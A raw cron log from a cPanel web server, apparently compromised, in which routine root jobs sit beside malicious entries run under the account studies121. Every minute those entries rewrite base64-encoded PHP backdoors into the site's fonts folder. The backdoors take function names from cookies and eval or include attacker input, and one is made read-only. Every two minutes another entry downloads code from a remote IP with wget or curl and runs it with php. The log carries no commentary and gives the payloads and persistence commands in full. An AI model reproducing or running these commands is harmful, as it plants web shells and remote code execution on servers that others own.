Sep  5 03:19:01 ip-184-168-122-23 CROND[31788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:20:01 ip-184-168-122-23 CROND[31906]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:20:01 ip-184-168-122-23 CROND[31911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:20:01 ip-184-168-122-23 CROND[31913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:20:01 ip-184-168-122-23 CROND[31914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:20:01 ip-184-168-122-23 CROND[31910]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 03:20:01 ip-184-168-122-23 CROND[31917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:20:01 ip-184-168-122-23 CROND[31918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:20:01 ip-184-168-122-23 CROND[31915]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:20:01 ip-184-168-122-23 CROND[31916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:21:01 ip-184-168-122-23 CROND[32008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:21:01 ip-184-168-122-23 CROND[32009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:21:01 ip-184-168-122-23 CROND[32010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:21:01 ip-184-168-122-23 CROND[32011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:22:01 ip-184-168-122-23 CROND[32095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:22:01 ip-184-168-122-23 CROND[32099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:22:01 ip-184-168-122-23 CROND[32097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:22:01 ip-184-168-122-23 CROND[32098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:22:01 ip-184-168-122-23 CROND[32096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:23:02 ip-184-168-122-23 CROND[32192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:23:02 ip-184-168-122-23 CROND[32194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:23:02 ip-184-168-122-23 CROND[32195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:23:02 ip-184-168-122-23 CROND[32197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:24:01 ip-184-168-122-23 CROND[32276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:24:01 ip-184-168-122-23 CROND[32275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:24:01 ip-184-168-122-23 CROND[32274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:24:01 ip-184-168-122-23 CROND[32278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:24:01 ip-184-168-122-23 CROND[32277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:25:01 ip-184-168-122-23 CROND[32369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:25:01 ip-184-168-122-23 CROND[32370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:25:01 ip-184-168-122-23 CROND[32372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:25:01 ip-184-168-122-23 CROND[32371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:25:01 ip-184-168-122-23 CROND[32373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:25:01 ip-184-168-122-23 CROND[32376]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:26:01 ip-184-168-122-23 CROND[32456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:26:01 ip-184-168-122-23 CROND[32457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:26:01 ip-184-168-122-23 CROND[32458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:26:01 ip-184-168-122-23 CROND[32459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:26:01 ip-184-168-122-23 CROND[32460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:27:01 ip-184-168-122-23 CROND[32624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:27:01 ip-184-168-122-23 CROND[32625]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  5 03:27:01 ip-184-168-122-23 CROND[32628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:27:01 ip-184-168-122-23 CROND[32627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:27:01 ip-184-168-122-23 CROND[32626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:28:01 ip-184-168-122-23 CROND[32709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:28:01 ip-184-168-122-23 CROND[32711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:28:01 ip-184-168-122-23 CROND[32712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:28:01 ip-184-168-122-23 CROND[32714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:28:01 ip-184-168-122-23 CROND[32713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:29:01 ip-184-168-122-23 CROND[341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:29:01 ip-184-168-122-23 CROND[344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:29:01 ip-184-168-122-23 CROND[342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:29:01 ip-184-168-122-23 CROND[343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:30:01 ip-184-168-122-23 CROND[426]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:30:01 ip-184-168-122-23 CROND[429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:30:01 ip-184-168-122-23 CROND[433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:30:01 ip-184-168-122-23 CROND[435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:30:01 ip-184-168-122-23 CROND[436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:30:01 ip-184-168-122-23 CROND[437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:30:01 ip-184-168-122-23 CROND[434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:30:01 ip-184-168-122-23 CROND[438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:31:01 ip-184-168-122-23 CROND[536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:31:01 ip-184-168-122-23 CROND[535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:31:01 ip-184-168-122-23 CROND[538]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 03:31:01 ip-184-168-122-23 CROND[534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
